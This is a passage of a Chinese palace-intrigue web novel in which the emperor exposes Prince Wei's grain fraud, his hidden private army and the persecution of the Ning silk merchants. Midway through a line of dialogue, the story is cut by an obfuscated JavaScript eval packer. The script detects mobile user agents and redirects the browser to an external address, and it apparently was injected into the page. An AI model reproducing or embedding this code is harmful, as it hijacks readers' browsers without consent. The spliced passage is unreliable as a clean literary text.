晁三易如此一说,许多人便反应过来,李明维当即说:“陛下,手谕是真,即说明先帝当年确实下旨免去军粮审查,既如此,庆东醒茶港又是怎么发现军粮不合格的,蔚王又是怎么得知军粮不合格且要换军粮呢?” “李大人不必激动,我想,你如今这般问话,庆东醒茶港那边会说,从未接到圣旨,而蔚王殿下自然也会说,军粮有失是大事,只想解决暮北军燃眉之急,并未多想。”张松案子审得多了,当即如此驳道。 “即是没接到圣旨,又为在问及军粮为何耽搁时间的时候不明说,而是找了天气不佳,海浪阻行来搪塞,分明是心里有鬼,才找了这个理由。”秦俢愤然,“当年邢柏年是江南军粮押运官,而兵部派遣督粮官到庆东等待接应军粮的时候,梁仪善也在。醒茶港提盐司纳兰通是蔚王妃亲弟,这些年都是他负责江南军粮的审查,这些人沆瀣一气,才有了后来的蔚王换粮之功。陛下,多年来,江南军粮自观澜港送到暮北,途中经此一道,被盘剥之数不下百万,如果任由蔚王继续横行,危及社稷啊。” “陛下!”秦迅没有秦俢那般善言辞,但是此时不忘根本,对乾泽帝叩首沉痛道:“臣在兵部多年,受梁仪善蒙蔽蛊惑,做了不少错事,军粮案,乾泽三年、乾泽五年,臣都随梁仪善去往庆东督管军粮,且在事后,收到过兵部粮大人命人送至府上的精谷和药材,臣当时不知,现在才知道,那是梁仪善用来裹挟臣的赃物,而这些精谷及药草乃是蔚王每次得手后回送给的梁仪善的,臣惭愧,未能提早发现揭发。还请陛下革臣之职,臣自当认罪伏法。” 话到此处,梁仪善逃不了要进刑狱,然而朝臣们不知,明面上身体不适的梁仪善已经在刑狱了。张松深叹一口气,曹忠抖出来的梁仪善已足够令其头疼,现在还牵涉皇亲国戚蔚王,真不知该如何收场。他偷偷瞄了眼一言未发的大理寺丞展光前,见对方脸色沉郁,想必也不好受,当即暗自哂笑了一声。 ****** “……绣女闭轩谋百日,终成佳品献贵勋,天降白鹿泣悲鸣,清泪深潭凝寒冰。……霓裳可补天孙巧,铁券难熔王者金。寒蚕到死丝方尽,犹化赤缕绣乾坤。独留废驿机杼响,声声似问未雪人。” 茶煮了几开,楚珩看着热汤沸腾,水从壶中溢出浇在杯池里。他的听觉却被那断断续续吟唱的声音吸引。 “多好的曲儿啊,奈何本王不解其意。” 楚珩百无聊赖,在琼琚楼待了大半日了,决定回王府,刚要起身,便听笛声悠扬,婉转袅娜似诉衷肠,琼琚楼的曲在这笛声应和中意境清明。楚珩似乎瞬间把这曲听明白了,拨云见日,眉宇舒展,他一甩宽袖,悠哉坐回圈椅中,装模作样的换上一副冷漠嘴脸。 半杯茶后,珠帘哗啦一声脆响,一身青色枫叶刺绣窄袖长袍,外衬同色翦霞半臂外袍,罗途明脚下生风,走到楚珩面前,单膝行叩拜礼。 “叩见璃王殿下。” 楚珩斜乜 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“蔚王当年戕害宣中丝绸商宁家的女儿,宁家富甲一方,儿子还是宣中肃城知尹,也因此事得罪蔚王,最后宁氏一族全部被戕害。” “是啊,有冤无处申,宁家老爷子精通音律,当时就把冤情契了曲,传唱永益城。”璃王回忆着当年事,突然明白过来,“你是说,宁氏有后人,正在沿用此招?” “属下不知是不是宁氏后人,但是宁家是儒商,在民间多行义事,曾经在宣中颇有威望,宁老爷子的曲也是当时一绝,民间本就侠士多,此次显然是有人利用宁老爷子当年的曲,想为宁家翻案。” 楚珩冷哼一声,“作首曲将冤情传唱出去,掀起民愤?未免想的太简单了,即便届时闹得沸沸扬扬,上达天听,你以为蔚王就做不到将此事压下?当年宁氏一族惨死,那宁老爷子的曲在当时喜爱者更多,然而最终宁一族全都赔了进去,也没能换回一个公道,这件事过去多年,死无对证,又能掀起多高的浪来,掀起来了,怕是半星浪花也溅不到蔚王的身上。” “璃王殿下,此一时彼一时,如果蔚王在朝失去圣宠,在野又引起民愤呢?” 楚珩这才想起方才罗途明信誓旦旦,说要送蔚王一份大礼。楚珩看向罗途明“那你又准备了什么大礼,能让蔚王彻底失去圣宠?” 罗途明轻轻拿起桌上酒杯,微笑说:“蔚王的粮食,送到庆东了,这么重要的消息,当然要告诉正要去庆东巡查的五城兵马属司。不知他们看到蔚王在庆东祝城的三万府兵,会是什么的反应?”说完一口干了杯中酒,“多谢殿下赏酒,还是璃王殿下的酒味道好极。” 楚珩想了想,转眸瞥着罗途明道:“放心,事不成,我会命人把酒送到你坟前祭奠。” ****** 乾泽帝心绪不宁,歪在龙椅上将睡未睡,邱侣小心翼翼,举了把小扇轻轻给乾泽帝送风。 一日过去了,朝堂上的事一直萦绕在乾泽帝心头,秦氏兄弟联合告发蔚王和梁仪善,一个是兵部正四品,一个是内阁从三品,都是大程举足轻重的朝臣。而今梁仪善还被扣在刑部,审讯结果未知。蔚王没有动静,不知道有没有听到昨日朝堂风声。乾泽帝不好直接找蔚王询问,庆东醒茶港和蔚王的关系,乾泽帝一清二楚,甚至曾经,乾泽帝也依赖过这层关系。 “邱侣,”乾泽帝声音微沉,“朕是不是老了?” “陛下,您这是打哪说起的啊。”邱侣宽慰道:“陛下万岁,按这个数来说,陛下离老,还远得很呐。” “你知道,往日遇到同样的事情,朕绝不是今日这般优柔寡断,梁仪善毕竟是兵部的人,朕最忌讳军方和朝中官员有过多牵扯,更何况那还是朕的表兄,是朕给了他亲王之尊。贪色敛财,仗势欺人的事情,没捂住的多多少少也传了一星半点到朕耳朵里,那些朕可以装作不知道,若他和梁仪善之间交易不止于此……”乾泽帝摇摇头,“这个亲王,他也算是做到头了。” 邱侣清楚,乾泽帝宠蔚王,可以容忍其为所欲为,但是结党营私,觊觎权力却是不行的,尤其是军权,那是乾泽帝不可触碰的底线。 乾泽帝捏了捏眉心,想到朝堂上人们提及了沈尘寄,此人自天元十七年突然病倒,之后卧床多年,这封没有提交上去的奏疏,他儿子沈溟究竟知道不知道呢?想到这里,乾泽帝决定还是要见一见沈溟。“罢了,去把五城兵马属司的沈溟叫过来。” 邱侣领命,刚要退下,殿外内监来报,“陛下,五城兵马属司副都督顾大人求见。” 五城兵马属司自天元十九年沈溟父亲沈尘寄去世后,便再无首领都督,而今只有顾羌行一个副都督统领属司所有事务,其下设了三名千户总镇,负责永益城及永益周边几城的巡防,沈溟就是三名千户之一。因此去江南做巡按御史的时候,顾羌行走不开,但是沈溟却可以。 “顾羌行掌管永益中部五成安危整日如履薄冰,他能进宫,想必是要事。”乾泽帝挥手,示意邱侣先让人进来。 顾羌行叩首禀报:“陛下,年节前中部五城巡防勘察完毕,都做好了布防和加强,臣依照旧例前往庆东巡查,发现庆东有异!” 顾羌行武人性格,为人干脆,说话也言简意赅。 乾泽帝听后难掩惊诧,“有何异常?” 顾羌行不言。 乾泽帝侧目看了眼邱侣,邱侣会意,屏退殿内所有人。 顾羌行抬头,直起身,开始祥奏,“陛下,庆东发现一批自江南运来的精谷和药材,整装押运,被属下人马拦截,属下见粮食虽是精谷,但是成色不一,像是自各地汇集而来的。押运之人被臣扣下,经过盘问,得知此粮是要运往庆东以南,祝城和淮城交界处的一片深山。” “庆东以南的深山?深山里有什么人?” 顾羌行再次沉默。 乾泽帝神情凌然,盯着顾羌行鼻尖,似是要将人看穿。 “陛下,”顾羌行终于憋出句话,“沈溟此刻在庆东待命,臣请用兵,去庆东深山一探究竟。” 乾泽帝心底已经确认庆东有人私自屯兵的事实,他问顾羌行,“你是要用兵马属司的兵?为何不直接让朕调派庆东守备军,岂不是更方便?” “陛下,五城兵马属司虽对庆东守备军有巡查之责,却无调派之权。用起来,怕是多有不便。” “你究竟还在那群押运军粮的人嘴里,问出了什么?不必管他是不是随意攀咬,也不管他有没有证据,你只管告诉朕。” “陛下英明,”顾羌行再次拜下去,“此事怕和蔚王有关。” 乾泽帝怒极反笑,明知故问道:“与蔚王有关,那又关乎庆东守备什么事?” “陛下,这批粮在庆东来去自如,只怕,庆东守备就是看在蔚王的面子,才未干涉。” “朕就知道,朕就知道。”当啷一声,御案上的镇纸摔落在地,蔚王果然还是有这样的野心,外戚篡权,乾泽帝没想到自己有朝一日也会被自己信任的表兄蒙蔽。 怒气未消,但是帝王威仪使得乾泽帝冷静下来,“顾羌行,兵马属司的兵,你打算带多少去庆东?。” “臣请用兵一万。” 一万对三万,看来顾羌行等人不打算强攻,乾泽帝立即道:“朕准了,但是你要记住,朕最终,还是要看证据。” 顾羌行明白乾泽帝深意,这也是沈溟留在庆东的原因。 26.招供 沈溟在庆东祝城收到副都督顾羌行的信,送信的是同为兵马属司千户的倪奂。 沈溟把信看完,摘下腰间的水囊抿了一口,然后咂舌回味无穷般长舒一口气。倪奂侧目打量他,“你什么时候学会嗜酒了?” “酒是好东西,不仅能治病,还能御寒。”沈溟漫不经心的胡诌。 倪奂见怪不怪,顺着说:“御寒倒是不假,治病?你说的是相思病吗?” 沈溟扣上水囊扔给倪奂,“你原地待命,三日后,在祝安河那里接应我。”言罢领着押运粮草的队伍往庆东以南深山行进。 倪奂看了看手里的水囊,“你确定不需要我一起去?”沈溟听见了,但没回头。倪奂瞪着沈溟洒脱不羁的背影远去,无奈摇头。他看着手里的水囊,拔了木塞,凑在鼻尖闻了闻,然后便骂道:“臭小子,水也能喝得那么陶醉。” ****** 蔚王赵瑭这几日心绪不宁,三司会审没有撬开曹忠的嘴,兵部秦迅却又站出来首告梁仪善,他以为乾泽帝早晚会召自己进宫查问,左等右等不见动静,便打着请安的由头进了趟宫。乾泽帝看上去没有异样,对自己一如既往恩宠有佳。蔚王吃了定心丸,便吩咐明礼将永益城、忘水城、泉启城的所有皇庄秋收粮屯点完,押运到庆东。 五日后晌午,蔚王从沉睡中醒来,他这两日终于睡得香了。 “殿下。”明礼上前,依然是榆木托盘盛小铜鼎,金碳温着琉璃盏。“闲竹谷斥候兄弟送过来的新药样,殿下试试。” 蔚王探出两指头夹起琉璃杯,把玩似的着看药的成色。“看着不错,璃王派人从江南、擎南、宣中等地找来的这批货,倒不比往年观澜仓的差,如今刚过冬月便运到了庆东,还算他办事利索。”蔚王仰头完把药饮了,闭着眼感受药汁划过喉。“你派的人应该到了闲竹谷了吧?” 明礼微笑答,“应该到了,只是闲竹谷在庆东的南部深山,行路不便,等咱们的人把粮送到闲竹谷,也会押着那批货回来。” “出永益城容易,进来难,要当心。” “殿下放心吧,那批人都是做惯了的,不会出差池,送出去的就说是蔚王殿下给庆东守备军的,拿回来自然是殿下在庆东的收成,届时那批货混在庆东粮一起,不会有问题,况且永益城防守那几个人,也是奴才多年的好友了。” “因着替我做事,你结交了这几个人,本为利来,你却将这份人情经营得十分稳固,明礼,王府有你这个大管司,孤王省了不少心。” “殿下过誉了,这都是奴才分内之事,还能为殿下分忧便是奴才还有福分。” 主仆二人正说着话,此时院外来报宫中传旨命蔚王进宫。明礼替蔚王整装完毕,唤了王府马车,蔚王掀帘看向明礼,“你就不必跟着了,守在府中,本王去去就回。” 明礼站在骈驾前温驯谦卑行了礼,目送蔚王车马驶向长街尽头,打个弯后消失了。明礼回神,抖了抖衣袖,背手转身,迎面一道令牌抵在额前,明礼睁大眼,看清那是御令。令牌后,是顾羌行方正冷峻的脸,常年在兵马属司里浸淫出来的肃杀之气,让他仅凭双眼就能将明礼钉在原地,这瞬间明礼半个字也溢不出。顾羌行身后,皆是身穿黑色缎面莲花刺绣圆领官服的兵马司属兵。 ****** 蔚王骈驾进了宫城,没有去乾泽帝一贯所在的仁德殿,而是直往东走,停在了敬天司。 敬天司起初是天子祭典护卫队,自卯正年四年,天下乱党四起,敬天司护卫精选天下武艺超群,博闻强识的能人异士,屡次立下护驾奇功。自此,敬天司名为天子护卫,实为夜不收。赵瑭从车中探出头,敬天司门楣朴素无华,然而那几个卯正帝亲笔题字却叫他心生寒意。 “蔚王殿下。”来人是邱侣,“陛下在内厅等您呢。” 蔚王见邱侣面色如常,恭敬有加,心里的犹疑去了大半。 乾泽帝在内厅外廊观赏院中的一颗桃树。蔚王不好再往里走,就在廊桥下跪地行了礼。 “这颗桃树是卯正年先祖爷种下的,没想到永益的桃树,也能长得这般硕大,每年五月,这院里的桃花开的比永益城任何一处都要绚烂。果子结的也多,只是这桃树的果子酸涩,难以下咽。后来朕问父皇,这桃树开的这般旺盛,为何果子却这么酸涩?父皇说,桃树杰,果未必杰。”乾泽帝似是沉醉在童趣往事里,他的脸上流露出久违的真心的笑意。但是蔚王没有看见,他跪在地上,眼中只有秋风抚下的落叶。 乾泽帝仍旧在说:“朕又问父皇,那为何还要种桃树……”讲到这里,乾泽帝顿了顿,转问赵瑭:“你知道为何在这院中种桃树吗?” “敬天司是为天子祭典所设,桃木驱邪震祟,就如握在陛下手中的一方驱邪利剑,百毒不侵,威慑八方。” “哈哈哈……”蔚王刚斟字酌句答完,乾泽帝开怀大笑,笑得蔚王背脊发凉,“你答得好!起来吧。” 蔚王起身,瞥见身后一道身影。永益城知尹范直录跪拜臣子礼,乾泽帝毫无波澜的叫人起身,自己进了内厅。范直录不忘给蔚王行礼,然后跟着去了内厅。 乾泽帝坐在高座上,等邱侣伺候完茶,才开口,“范直录,你说近来永益城盛行一新曲,不仅富庶权贵深爱,就连民间教坊也在教习,到底是什么样的佳作。” 范直录欠身行礼,“陛下,臣身为永益城父母官,深知体察民情为职责之要,臣去查了,发现引得官民权贵同乐的曲子,并不是今年才新出的曲,而是十几年前就曾经名动一时的旧作,如今这曲子由人做了调整,改了词,永益城里的一位教坊师傅一唱便惊艳四方,如今不说永益城,就连临近的泉启、忘水、双英、朔水等城,都在传唱此曲。” 蔚王坐在乾泽帝左侧下手位,听到此处不仅眉宇微凝,一抹疑云从心底暗生。 “如此佳作,朕确想一品,也看看百姓们争相传唱的曲子,有何玄妙。” “陛下 体察民情,臣愿为陛下献曲,但是民间教坊之人不宜面圣,微臣斗胆,找了两位习得此曲的大方之家,论身份也最宜君前献曲。” “今日朕与蔚王皆在此处,究竟是谁啊,尽管演奏来。” “臣遵旨。”范直录几不可见的深吸了口气,随即合掌为信,方听敬天司院内笛声渐起,空灵缭绕,在凝噎婉转之际,悠悠弦音催动,浑然天成般与笛音融合。二者起承转合,或互相承托,或相辅相成,终究把这曲子的精妙之处升华得更摄人心魄。 一曲毕,乾泽帝怅然慨叹,郁郁不乐,蔚王如临大敌,脸色几变,范直录沉醉其中,神情木然。 少顷,院外廊桥尽头,两道颀长人影缓缓走近。乔广陵一身清灰色卷云纹刺绣长外袍,内衬同色暗纹仙鹤圆领袍,脚步轻盈。并肩而行的,是璃王楚珩,素紫色缎面牡丹暗绣半臂外袍随风而动,高视阔步。 范直录尚沉醉乐中,回头看到觌面走来的二人又晃了神,翩翩君子,举世无双,说的便是此间二人罢。 “拜见陛下。”二人齐声道。 这二人甚少出现在一起,此刻的陛下不禁油然生出泱泱大国,风流才子,卓尔不群的欣喜和慨叹。跪拜完乾泽帝,又拱手朝蔚王行礼,蔚王这时才看见,楚珩手中握着的,正是不久前自己在王府“赏赐”给楚珩那管竹笛。 乾泽帝看着永益城中最闲云野鹤的两个人物,调笑道:“范直录,你能请动这两人奏曲,花了不少功夫吧。” “陛下过誉了,乔太师和璃王殿下均是精通乐艺的才子,谦逊有礼,不难请的。再说二位能赏脸臣,也是微臣借到了陛下的光不是。” 乾泽帝挥手,二人便在右侧位落座。“你这会子倒是会说好听的了,朕也看出来了,你是遇到什么难办的案子了?需要这么大费周章?” 范直录跪地,叩首道:“陛下英明,此曲,关乎一桩十几年前的大案。不知陛下可曾听说过,宣中逸城丝绸富商,宁家。” 乾泽帝思忖着,似乎有所耳闻,只听范直录接着说:“宣中宁家,曾为朝廷进贡过丝绣,宣丝和宣绣皆属于珍稀上乘品,尤其是宣绣,只有宣中天赋异禀,技艺精湛的绣娘才能驾驭,天元年间,宁家为让宣绣大放异彩,让女儿随朝贡入宫,该女凭借一手刺绣,博得针公局掌事姑姑青睐。但是此后该女却无声无息,没了踪迹。” “臣记得这事,约是天元十三年的事,当时先帝说,有此女在宫教习宣绣,可抵宁家每年七成商税,剩下就按例进贡宣中丝绸即可。” 蔚王早已反应过来,今日之局,就是冲着他而来,只是他不明白究竟是谁凭借这桩陈年旧案,就能说动乾泽帝把他召进敬天司,眼前三人,乔广陵虽平日里看似淡泊明志,实际却是个口才极好的,由他出面,说动乾泽帝的可能性最大。此刻他也不再收敛情绪,冷笑直言,“乔大人事事具不放在心上,这等鲜为人知的小事,且已经过去这么多年,倒是记得清楚。” 乔广陵像是没听出嘲讽,对蔚王含笑答:“天元年间臣任户科给事中,专门处理这等农商财税之类的小事。且碧玉之年凭一手绣技就能免去宁家每年七成商税,此女能耐,世间多少男子都不能望其项背,臣自当是记忆深刻。” 蔚王哑口,楚珩趁机道,“七成商税?本王记得那宁家财力之惊人,远胜东瀛一带的小国,税贡数目之庞大可想而知,这等才华横溢的女子,怎么就这样销声匿迹了?” 楚珩直视蔚王射来的目光,唏嘘不已道:“真是可惜。” 乾泽帝皱眉,“范直录,你接着说,这位宁绣娘,最后到底去了哪里?” 范直录为难,“陛下,臣不知。但是臣经过探查,得知宁家自天元十四年,也就是宁绣娘消失的那年开始走下坡路,先是宁家次子在宣中肃城任知尹,因为贪污受贿被贬,紧接着宁家偷税缺贡,被罚没三成家产。” “宁家家底雄厚,什么的样的宝贝,竟让宁家公子都抵挡不住诱惑?”楚珩适时的戳点出纰漏。 “这个,微臣不知……或许宣中布政司能查到。” 乔广陵萧然满目,极力隐忍油然生出的悲愤。 范直录接着说:“天元十六年冬,宁家家主宁曲道来到永益城,几次向永益府衙门递交诉状,但是官府以宁曲道攀咬皇戚,毁谤朝廷为由驳回其诉状。宁曲道后将状词和了曲,每日在永益街头自弹自唱,引得市井百姓跟风效仿,最后府衙下令捉拿宁曲道,打入刑狱。天元十七年,官府剿匪发现宣中和醉临流寇与宁家勾结,宁家一直为这伙贼人提供银钱支持,宣中也因此将宁氏一族从互市资格里除名,宁氏一族下狱的下狱,流放的流放,宁曲道则在狱中畏罪自戕。从此,宁商一族彻底倾覆。” 乾泽帝听到这里,已经拿捏住关键,“从宁绣娘消失于永益城,到最后宁氏全族没落,不是宁家自作孽,而是一出怀璧其罪的丑闻。范直录,所涉案情如此之杂,所夸年份如此漫长的旧案,你打算翻了它?我该说你足够有风骨,还是该嘲你足够闲?” 范直录乾泽四年任永益知尹,对于朝堂勾心斗角已经习以为常,作为皇城父母官,范直录深知,他的明哲保身之道,恰恰是在这个“直”字。“陛下,天元年间,大程外有强敌频繁滋扰,彼时奸佞横行朝廷难免分身乏术,如今新朝,再庞杂的案子,亦可以肃清始末,拨开迷雾,探知真相。如今此案凭借方才这首曲传唱天下,掀起民愤,况且此案确有诸多疑点难以解释得清,难道为官者要因为案子不是经由自己的手就可以置之不理,因为案情牵涉过多而不去追究吗?如若大程官员做事都挑挑拣拣,全凭自身喜恶,那宁氏一族的案件,只怕会如过江之鲫,层出不穷。” “范直录,你起来吧。”范直录说得正义凌然,但是乾泽帝知道如果没有渊源,他不会上赶着揽下这样的案子,但是他当下并未多问,如是说:“此案确实值得深究,若没有丝毫眉目,你也犯不着跑到朕面前陈述,你直说,做下此案的权贵是谁,或者,你听闻此案与永益城中哪位大人物有牵扯?” 范直录这时候支吾了起来。眼珠一转,看了眼蔚王。 “罢了!”蔚王目露凶光,刺得范直录低下头,他豁然起身,对着乔广陵等人道:“若为此案犯不着如此大费周章,乔大人和璃王弟弟曲奏得极好,但孤王向来不懂乐艺,实在是浪费时间,范大人今日也辛苦,作为出头人说了这许多,不如直接报孤王大名,何必在这里惺惺作态。” 乾泽帝怒目视他,“赵瑭!” “蔚王殿下,这是要不打自招吗?”楚珩起身,趁蔚王气急,追问道。 “宁氏一族,不过是宣中奸商,多年来靠着盘剥地方,才积攒了雄厚财力,焉值得陛下出面维护,如果陛下觉得孤王当年实不该与宁家为难,今日直接让敬天司去蔚王府拿人即可,犯不着假以进宫面圣之名,将孤王引至此处,又打着赏树听曲的由头,翻出这些陈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15346645|164060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年往事。” 范直录急得红了脸,“蔚王殿下,慎言!” 范直录要面圣上奏宁氏旧案,乾泽帝事先并不知情。范直录早朝后在仁德殿前等候多时,内宦传乾泽帝口谕,御前陈奏地点改为敬天司,谁知他刚迈进敬天司大门,才看到当事人蔚王居然也在场。也恰是这个巧合,让蔚王误以为乾泽帝私心为宁氏出头,做局逼供。 楚珩见赵瑭乱了方寸,继续攻讦道:“蔚王兄不必如此,陛下什么都没问,范大人也还没说你什么,王兄为难宁家又是从何说起,那宁绣娘……” 蔚王已经不是平日里在乾泽帝面前的恭顺态度,他微阖眼眸盯着楚珩,“那宁绣娘,当年也确实和本王有些私交,过后宁家作奸犯科,本王不去深究宁一羊进宫是否是别有目的,接近本王是否是要拉本王下水已经是格外顾念私情。怎么人死了,现在反倒来追究起本王的罪责?莫非,璃王弟弟也曾思慕这绣娘不成?” 乔广陵宽袖下的手攥着拳,指节泛白,他站起身,“范大人方才只说宁绣娘后来失去踪迹,蔚王殿下却直言人已经去世,且清楚的说出宁绣娘的名字。看来蔚王殿下是这案子为数不多的知情人,真乃得来全不费工夫,范大人不如求求陛下,下令让蔚王殿下为你解解惑。” 蔚王被乔广陵拿住漏洞,有怒却不知如何反驳。 乾泽帝胸口起伏,显然被蔚王狂妄之举所激,正极力平复。 范直录噤声,他在乾泽帝沉默中感受着周遭无形的威压。少顷,乾泽帝终于开口,“范直录,你晓查民意,使朕不至于闭目塞听,做的好,此事朕知道了,你先回去吧。”范直录哪敢多说,弓身行礼告退。 乾泽帝将眼前三人扫了一圈,心中却另有盘算。 “太师和璃王今日也辛苦了,此曲甚妙,能得百姓传颂实在情理之中,那宁家也算商贾中屈指可数的大家,又是大程国难得的儒商,此事朕会查清,你们二人也先回吧。”说完,乾泽帝看了眼邱侣,邱侣会意,随乔广陵和楚珩退至厅外,关上了门。 敬天司外,北林扶马车等待,见乔广陵出来,立即迎上去,“主子。” “我的琴呢?” “放在马车里。” 乔广陵放心了,回过头要与楚珩作别,楚珩迎面一笑,说:“乔太师,本王方才想到,此曲中有几个音节,如果不为了与笛声相和,略作调整用你的琴奏出来,倒是浑然天成。” 乔广陵低眉浅笑,“璃王殿下猜的对,此曲是我依据当年宁老遗作略微修改而成的。” 楚珩没想到乔广陵就这样坦白开来,倒叫他一时不知怎么回答。 “宁老与我祖父因乐结缘,成为至交好友,宁家遭逢变故,当年的事不清不楚的地方太多,今我重新提及此案,是想得个真相大白,以慰我祖父在天之灵,也算是弥补我当年未尽的孝道。” 乔老太爷当年游走四方,寓教天下,最后魂归异乡,是天下文人的佳谈,却是乔家后人的遗憾。 三言两语,楚珩猜忌没了,好奇没了,攀谈的雅性也没了,只剩无趣。 而此刻敬天司内,独留乾泽帝蔚王二人。 蔚王徒然跪地,“陛下,乔太师和璃王分明是串通好利用宁家旧案构陷本王,臣请陛下明鉴。” 乾泽帝无奈叹息,“先有天元十七年盗换军粮案,今天又出了个富商抄家案。近来旧案不少,且让他们慢慢查吧。”他有点疲累,不过比起刚才,倒是怒意全消。 蔚王听着乾泽帝的话,眼观鼻思忖着局势。前日秦迅弹劾梁仪善,乾泽帝都没有诏他查问,又怎会因为宁氏一族的事特地让他来敬天司?蔚王细想觉得不可能,坚信乾泽帝依然会偏袒于他。 “你是不是以为我把你召来是为了这些陈年往事?”乾泽帝把蔚王心思看穿,眼中含笑,不过那笑意是冷的,“蔚王,你心里清楚,无论过去你做过些什么,朕都不惊讶,朕最在乎的,是眼前,你告诉朕,你蔚王赵瑭这些年在朕治下,又是以怎样的姿态去做这个朕亲封的亲王的。” 乾泽帝问的云里雾里,蔚王觉得,这是在设套,等着他自行交代过错。罪己书不好写,蔚王一边装无辜,一边思索该交代什么,才既能打消乾泽帝的疑虑,又能免于责罚。“陛下,臣鄙薄无才,忝居亲王之位多年,既没有杰出的政绩,更不能为皇戚之表率,但是臣一直也是恪守本分,忠君爱民的。那宁家……那宁绣娘,的确曾与我有旧,后来关系破裂,叫她因爱生恨,屡次与我撕闹,有一次,臣无意间听她口出狂言,说若我负她,等宁曲道进了永益城,便叫我吃不了兜着走。我反复思考许久,决意着人私下去查宁家,这一查吓一跳,宁家富可敌国不说,还四处结党,上至地方权贵,下到江湖帮派,宁氏一族居心令人胆寒,若是长此以往发展下去,只怕遗患无穷……于是臣才出手,将这大程毒瘤拨除,若此事,令陛下觉得臣滥用私权,手伸得太长,那臣认罪认罚,但请陛下相信,臣之初心,实不为己。” 乾泽帝听完,狠狠闭了眼,“赵瑭,既然此事你认罪了,那从此刻开始,你便在敬天司思过吧。” 蔚王难以置信,“陛下,为了区区宁家,居然将臣弟囚禁敬天司??” 乾泽帝并不回答,他不急不慢站起身,看向紧闭的门。不一会,门被推开。 “参见陛下!”身穿黑色莲花暗绣常服,顾羌行、沈溟和倪奂三人齐刷刷掀袍叩拜。 乾泽帝垂眸,看着跪在跟前的蔚王,“区区宁家?蔚王口中的区区宁家,是大程第一儒商,是天下义士心中德高望重的宁曲道,是不让须眉绣技无双的宁一羊。草菅人命,罔顾国法之人,伏法就该是其归属。” “!”蔚王张了张口,却一个字也没溢出。 乾泽帝接着说:“蔚王方才交代过的,敬天司的秉笔已记下,拿去交给刑部张松,范直录任此案协理。” 邱侣不知什么时候站在角落,欠身领命。 “顾羌行,沈溟,倪奂,你们自去三司明堂,把庆东的事仔细交代出来吧。” “是!” “蔚王。”乾泽帝声若寒霜,睨这蔚王道:“盗换军粮是为助战退敌,灭宁氏是为铲奸除邪,那私养军队,勾结庆东勤王军,串通醒茶港提盐司为你暗开互市,又是什么呢?还有观澜仓这些年运到暮北的军粮,你李代桃僵,换取了多少?三司明堂上,你好好交代自己这些年都是怎样报效朕这个君的!” 27.擢升(上) 蔚王私兵在庆东以南的深山,被抓的押运队对道路也不熟悉,只能说出大致的方向。但是沈溟领着这帮人赶在第二天酉时便到了。蔚王三万兵马驻扎在一处山谷之中,整片山谷地势平坦狭长,有山川溪流汇聚成河,流经此处。一眼望去只能看到约莫半数规模的兵马,其余营地则隐匿在成片的竹林,沈溟直觉统帅所在地及蔚王来此的落脚点,肯定也在距离营地不远位置隐蔽的深林之中,但是接应军粮的人并不带他们去别处,只让他们在营地外围扎帐歇息。 夜晚来临,一名将士掀帘而入,“领头的出来,我们家将军要验货。” 押运队领头按照原本的计划出面,对闲竹谷将士的盘问对答如流,将士挑拣了些许粮食药材,派两名斥候送去永益城蔚王府中。在蔚王府的粮草押运队出发的消息传到闲竹谷之前,押运队不可擅动,只能等待。这两天格外漫长,尤其对于沈溟来说…… 第二日夜晚,低调隐匿在押运队中的沈溟出了营地,夜黑风寒,结了霜的地面踩上去咯吱作响。竹林深处,可能就是主营地所在,军队是分三六九等的,万一谷地聚集的军营暴露,另外的人往深山撤退完全来得及。主力军在哪里?主帅军帐又在哪?今晚沈溟想弄清楚。 穿过竹林,沈溟于暗处观察,隐约可见有灯火,喜出望外,刚要循着光亮走去,忽然肩颈一沉,一记手刀落在沈溟后颈,沈溟晕倒在地。 “这小子看着就和其他人不同,果然有猫腻。”年轻将士方才那记手刀使了十足的力,他左手拖住有些酸麻的手腕捏了捏,看着倒在地上的沈溟如此说道。 “他身量修长,样子也好看,一眼看去当然和押运队里的其他人不同。”边上随行的方脸将士揶揄。 年轻的这个瞪了他一眼,捞起沈溟,“军营重地,敢随意走动,看样子或许别有目的,要禀告上去。” “你打算带着他去邀功?” 年轻将士无奈,“如果此举有功,算你的,我只是秉公办事。” 方脸将士冷笑,“得了吧,别以为这样我就会放过你。” 年轻将士不解,微怒道:“你什么意思。” “你大半夜跑到外营查看这群不相干的人,秉的哪门子公?还不是你看上这漂亮小子,用了手段将人约出来,不料被我发现,干脆先下手为强将人打晕,以免被我逮住说漏嘴,现在又要把人带走,谁知道你是要带去哪里,明天一早这人是跑了是死了,谁又说得准呢?” “你,血口喷人!明明就是你技不如人,上月演武场上输给我,才没能当得了百夫长,你就处处针对,现在又信口诬陷,有种咱们比武场拿本事说话。” “你!”方脸将士被戳中痛处,恼羞成怒,待要发作,突然瞥了眼沈溟,转怒为笑,道:“我不诬陷你,你看看你现在……又是搂腰又是勾肩的,我不诬陷,只怕……” “啊!”方脸将士嘲弄的话语还没有倒干净,却再也说不出半个字了,是剩下一声短促的惨叫。 情势陡转,变故就在一瞬,年轻将士看到自己手握短柄配剑,深深刺入方脸将士心脏,对方怒目圆睁,死死盯着自己,片刻后气绝倒地。 “我,我……”年轻将士转头,看到沈溟清冷俊逸的侧脸。沈溟放开他的手,将士才意识到,方才这利落的一剑,是在沈溟操控之下刺出的。“是你,你究竟什么人?” “痛快吗?” “什,什么?” 沈溟转过脸看着年轻将士,“杀了他,痛快吗?” ****** 寅时未到,闲竹谷收到了蔚王府传来的运粮交接命令,军营无日夜,押运队即刻出发,要赶在天亮之前到达祝城北面的祝安河,等待蔚王府军粮押运到此,完成交接。所谓交接,即是将蔚王府的粮运到闲竹谷,蔚王府押运队再将这批从江南运来的粮带回永益城,如此,才算是完成任务。 押运队和闲竹谷两千人等了一天,终于在日落前见到了一队人马露头。然而却并非是蔚王府的人,为首的是顾羌行,闲竹谷负责押运的参将认得他,立即下令收兵回撤,刚要转头,三面环山,都是五城兵马司的兵,整个祝安河畔早已在顾羌行包围之中。 